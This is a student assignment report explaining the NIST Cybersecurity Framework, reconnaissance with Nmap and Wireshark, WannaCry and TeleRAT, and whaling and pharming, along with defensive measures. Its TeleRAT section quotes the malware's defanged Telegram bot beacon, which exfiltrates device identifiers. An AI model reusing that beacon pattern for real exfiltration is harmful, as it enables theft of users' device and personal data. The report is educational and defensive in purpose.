


Contents
Introduction	2
Part 1:	2
Based on the provided background and introduction given, in light of the evolving challenges and opportunities in the field of cybersecurity, explain how the NIST Cybersecurity Framework plays a vital role in achieving the dominant objective of safeguarding digital assets and personal data in today's society.	2
b) As stated in the introduction, Reconnaissance is the first stage in the “cyber kill chain” used by cybercriminals to gather pertinent information about their target How can the tools Nmap and Wireshark be utilized in the reconnaissance stage of a cyber-attack? Please conduct research on these tools and provide an example of how each tool contributes to gathering pertinent information about a target.	3
c) Cyber – Attacks and Mitigations strategies	4
i) Explain how the malware examples WannaCry and TeleRAT operate and discuss effective	4
mitigation strategies for each.	4
ii) Describe the implementation of the phishing attacks known as Whaling and Pharming and	6
discuss effective strategies to mitigate the risks associated with them.	6
Part 2:	7
a) Using a network diagram (topology) or illustrations, create a secure network design incorporating two specified design principles focused on achieving high availability.	7
i) Eliminate single points of failure.	7
ii) Provide for reliable crossover.	7
b) Which software and hardware technologies can be implemented to enhance network security during its operation? Provide detailed explanations on the functionality of the proposed technologies, making reasonable assumptions.	9
i)	Complete “Introduction to Packet Tracer” in Skills for all. and attach the Certificate of Completion and share your digital badge link to verify.	9
ii) Complete all the 5 Module Exams and Final Exam for Palo Alto Network Security Fundamentals and Cybersecurity Foundation and submit the certificate to verify	10
Conclusion	11
References	11






[bookmark: _Toc165489676]Introduction
This assignment is about different aspects of cyber security and networking. In part 1 It will cover the NIST Cybersecurity Framework and how Wireshark and Nmap play out during the reconnaissance stage. Along with the explanation and the mitigation strategies of Wanna Cry, Tele Rat, Pharming and Whaling. Adding to that in part 2 there will the creation a network topology that can both eliminate single points of failure and provide for reliable crossover. Finally It will be software and hardware that protects the security of a network along with proving I completed the Introduction to Packet Tracer, Palo Alto Network Security Fundamentals and Cybersecurity Foundation courses by showing the certificates of completion.


[bookmark: _Toc165489677]Part 1:
[bookmark: _Toc165489678][bookmark: _Hlk165488769]Based on the provided background and introduction given, in light of the evolving challenges and opportunities in the field of cybersecurity, explain how the NIST Cybersecurity Framework plays a vital role in achieving the dominant objective of safeguarding digital assets and personal data in today's society.


NIST Cybersecurity Framework is used to help organizations such as Government and industry by giving guidelines and additional information to help prevent cybersecurity risks within these organizations. The framework is made up of six functions which are Govern, Identify, Protect, Detect, Respond, and Recover. The Govern function focuses an organisation creating and maintaining outcomes to help achieve the five other functions in the Framework. 

The Identify function is the processing of knowing what data, hardware, and software etc is being used/stored so it can be factored in and monitored. This is important as one of main things attackers will go for is data as it can be sold and used to attack other people. This is why it is important to know how their data is being kept so they can make sure it is secure and get rid of any unnecessary data. As stated in the introduction as part of the cyber kill chain the Reconnaissance stage is when the attacker(s) will gather as much detail as possible about the target. If the identity function is carried out thoroughly then the data that the attackers collect during the Reconnaissance stage will be limited. This in turn will make their attack harder to carry out.

After that the Protect function comes in. As mentioned in the background section cybersecurity gives us insight on “establishing protective measures” which can be achieved if a company follows the Protect function. To help lower the chances of a successful attack the protect functions recommends multiple ideas including data security training, authentication, identity management, and making sure hardware and software are secure.

The Detect function is when potential cyber security attacks are spotted. As mentioned previously in the introduction it talks about the cyber-attack cycle which has a stage called the delivery. This stage is when the attacker will carry out their attack and exploit the weaknesses they have found. This is relevant as the Detect stage can be used to spot the attackers attempted attack on the company’s system. The suspicious activity that has been founded can be analysed to figure out where it is coming from and to help find any potential weaknesses in the computer system or network.

The Respond function is when the company needs report any issues, limiting the impact of the attack, and more analysis. The final function is Recover. The Recover function is the stage where the company has to start making things to go back to normal as they can lose out on money and progress If they do not. This is also the stage where polices and actions can be put in place to help the recovery. [1]

[bookmark: _Toc165489679]b) As stated in the introduction, Reconnaissance is the first stage in the “cyber kill chain” used by cybercriminals to gather pertinent information about their target How can the tools Nmap and Wireshark be utilized in the reconnaissance stage of a cyber-attack? Please conduct research on these tools and provide an example of how each tool contributes to gathering pertinent information about a target.	

Nmap ("Network Mapper”) is an open source and free port scanner. Nmap is used during the reconnaissance stage as it can be used to carry out a scan to get information about what ports and applications are running on a computer or network. Nmap can carry out multiple different kinds of scans including an OS detection scan.  
[2]
An OS detection scan can find out which operating system is being used by the targeted network or computer. To do this the scan will cause TCP packets that have certain traits to be sent to the targeted system. Based on the targeted systems responses to the particular packets Nmap can determine what operating system is being used. Knowing the operating system can help the attacker as they can investigate and utilise the weaknesses and flaws of the operating system which in turn will help them attack it.
[3]

Wireshark is an open-source tool that is used to monitor network traffic along with analysing network packets. Wireshark can be used during the reconnaissance stage to look at the target’s network and capture packets containing useful information that can be used to exploit weaknesses in the targets network. The captured packets could contain information about the ports, hosts, and the network’s architecture.  This information can be used to plan out an attack. 
[4] [5]

Wireshark can filter the network traffic to get specific results. For example, Wireshark can filter the traffic so only traffic from one IP address is displayed, this is done with the host command. Cyber criminals might find this command useful if have a device they are targeting and want to focus on only that system’s traffic. 
[6]

Wireshark can also help with defending a system during a cyber-attack as Wireshark can be used to look for any unusual or suspicious activity and to figure out where it is coming from.
[4]


[bookmark: _Toc165489680]c) Cyber – Attacks and Mitigations strategies
[bookmark: _Toc165489681][bookmark: _Toc165489682]i) Explain how the malware examples WannaCry and TeleRAT operate and discuss effective mitigation strategies for each.

WannaCry ransomware was used to carry out a worldwide cyberattack in 2017 that exploited Windows systems that did not have the EternalBlue exploit patch.  

WannaCry works by encrypting the user’s files preventing the user from accessing them. Then demanding payment for the files to be decrypted, the payment was requested through bit coin. It also had a countdown that once reached would delete the files. Ransomware is normally used to target people however with WannaCry it infected any system it could and in just a couple of hours it infected 230,000 computers.  [7]
WannaCry is a type of malware called a worm that could self-replicate and automatically spread to other computer systems on a network without anyone interacting with it. [8] [9]

There are mitigation strategies to prevent WannaCry and other ransomware malware. One example is to have anti-virus software that can prevent your computer being infected from all types of malwares (mainly ransomware). Another migration strategy is to use software that can detect and block ransomware threats. [10]


TeleRat comes from people maliciously using Telegrams Bot API which has led to the creation of Trojan that can be carried out using a Telegram Bot. TeleRat is used to steal information from infected Android devices. This information ranges from a user’s call history to file listings. TeleRat works by creating these files: 

· [IMEI] numbers.txt
· [IMEI]acc.txt
· [IMEI]sms.txt 
· 1.jpg 
· Image.jpg 

Then it puts them onto the SD card in the user’s phone. After that these files are then sent from the SD card to the upload server. This is all done after the first time the app launches. 

Finally the upload server uses this beacon “hxxp://api.telegram.org/bot[APIKey]/sendmessage?chat_id=[ChatID]?text=نصب جدید\n [IMEI] \nIMEI : :[IMEI]\nAndroid ID : [AndroidID]\nModel : [PhoneModel]\n[IP] \n\nIMEI دستگاه: [IMEI]”  for passing information back to the Telegram bot. The Telegram bot that chosen is the one that matches the bot id within the RAT source code. From that point onwards the beacon is used to gather data from the app to the Telegram bot based on certain commands being used. To avoid encountering TeleRAT there are mitigation strategies that can be carried out. One example is to not unofficial applications be installed on your device. Another example is to not use any third party app stores. [11]


[bookmark: _Toc165489683][bookmark: _Toc165489684]ii) Describe the implementation of the phishing attacks known as Whaling and Pharming and discuss effective strategies to mitigate the risks associated with them.

Phishing is a malicious practice where an attacker will pretend to be a legitimate person or company to mislead a user to gain money, or data such as login formation. This is normally done through email, social media or through text message. [12]
Whaling is a type of phishing attack that is aimed at high level people within companies, typically done through email. Whaling attacks are more personal as the attacker will use public information about the company and the executive they are targeting. Along with that the email used on the target will have professional language used throughout.
If the email is convincing then the company that target is a part of can suffer multiple consequences such as, loss of data, loss of money and a poor reputation for falling for the scam. [13]

There are migration strategies to help prevent companies being affected by whaling emails. One example is companies could use good quality anti-virus software that could prevent whaling emails from getting into the targets email inbox. Another migration strategy is using email scanning software that in real time can scan the links in an email and tell if they are suspicious reducing the number of whaling emails. Finally, security awareness training within the company can help employees know what to look for and to know what to avoid. [14]

Another type of phishing attack is Pharming. A pharming attack is when a user gets taken to a fake version of the website they were intending to use. The fake website can be used to take personal information from the user visiting such as the username, password, and bank details. The user’s login details can be taken as the website can have a fake login in system that saves the users login information. This information can be used to take over the user’s account. 
There are multiple migration strategies for pharming including to use a password manager that fills in passwords for websites you have visited previously. This is because if you are on a fake version of the website it will recognise it’s a different website and not let you auto fill the password which will allow you to spot the difference. Another migration strategy is to use a different DNS service as one of the causes of farming is a poisoned DNS so changing the DNS service completely can prevent and even stop current pharming. [15]

[bookmark: _Toc165489685]Part 2:
[bookmark: _Toc165489686]a) Using a network diagram (topology) or illustrations, create a secure network design incorporating two specified design principles focused on achieving high availability.
[bookmark: _Toc165489687]i) Eliminate single points of failure.
[bookmark: _Toc165489688]ii) Provide for reliable crossover.
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Packet Tracer Design

The network design that was created is a mesh topology as the design of a mesh topology can limit the risk of a single point of failure and has reliable crossover. Using a mesh topology allows for the data to be transported efficiently as it can go through the quickest path. [16] The reason why this design can limit the risk a single point of failure and has reliable crossover is if one device fails there are other routes for the data to take to get to its destination. Additionally having the ability of the data to take multiple routes makes the network more reliable.
Furthermore, an additional benefit of using a mesh topology is new devices can be added with ease which makes this topology more convenient. [17]





[bookmark: _Toc165489689]b) Which software and hardware technologies can be implemented to enhance network security during its operation? Provide detailed explanations on the functionality of the proposed technologies, making reasonable assumptions.

Software can be used to help enhance the security of a network. One example of this is anti-virus software such as Malwarebytes, Norton and Avast. Anti-virus software is extremely important to enhance network security as it limits the chances of Malware such as ransomware and Trojans infecting computer systems. If Malware was able to infect computer systems, it could lead to data loss and the whole network getting taken over. [18]

Another software that can be used to help enhance network security is the use of the website “haveibeenpwned”. These websites allow someone to input their email address and see if any websites you have signed up with have had a data breach. This helps your network as the data that has been exposed in the breach can be used to attack your network such as personal information being used for targeted attacks. [19]


Hardware also can be used to help enhance the security of a network. One example of this is a hardware proxy server. A hardware proxy server acts as a go between the internet and the end user. This is useful as it can block out cyber-attacks and malware because of its ability to block out anything malicious and to keep it from getting to the end user. [20] [21]

Another example of hardware that can secure a network is an intrusion prevention system(IPS). IPS is constantly monitoring a networking and blocks out any suspicious activity reducing risk of people getting into the network. [22]


i) [bookmark: _Toc165489690]Complete “Introduction to Packet Tracer” in Skills for all. and attach the Certificate of Completion and share your digital badge link to verify.
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[bookmark: _Toc165489691]ii) Complete all the 5 Module Exams and Final Exam for Palo Alto Network Security Fundamentals and Cybersecurity Foundation and submit the certificate to verify
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[bookmark: _Toc165489692]Conclusion
In conclusion in part 1 of this report, I have explained what the NIST Cybersecurity Framework and how it ties a back to the introduction and the prompt given. Then I have explained Wireshark and Nmap and how they are applied to the reconnaissance stage. After that I talked about Wanna cry and TeleRat with an explanation about what they do and how to prevent them from being effected. Also, I have explained pharming and whaling which are types of phishing, I also suggested mitigation strategies for them. 

Moving on to part 2 of the report I created a network topology that was able to eliminate single points of failure and provide for reliable crossover. After that I discussed software and hardware that is beneficial for network security. Finally, I showed certificates of completion for Introduction to Packet Tracer, Palo Alto Network Security Fundamentals and Cybersecurity Foundation.
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